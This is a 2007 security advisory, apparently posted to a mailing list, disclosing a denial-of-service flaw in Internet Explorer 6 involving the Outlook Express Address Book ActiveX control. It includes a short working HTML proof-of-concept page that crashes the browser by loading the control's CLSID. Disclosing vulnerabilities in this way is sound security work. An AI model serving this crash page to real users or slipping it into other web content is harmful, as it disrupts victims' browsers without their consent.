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IE 6 / MS Office Outlook Express Address Book Activex DoS

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Date: Wed Jun 06 2007 - 07:47:42 CDT


IE 6 / MS Office Outlook Express Address Book Activex DoS
Affected Software : MS Internet Explorer 6.x

Overview:
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when a browser use MS outlook Express Address book ActiveX , crash the browser immediately.
An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer version 6(.x) .

PoC (HTML)
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  <!--
  [~] Microsoft Office Outlook Express Address Book DoS
  [~] Tested on windows XP sp2 , IE 6
  [~] Simorgh Security Team / www.simorgh-ev.org
  [!] Hessam-x / www.Hessamx.net
  -->
<HTML>
<object classid='clsid:233A9694-667E-11d1-9DFB-006097D50408' id='outlook' /></object>
<center> Microsoft Office Outlook Express Address Book DoS</center>
<center>Hessamx</center>
</HTML>

Credit
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Discovered By Hessam Salehi (Hessamx)
Simorgh Security Team / www.simorgh-ev.org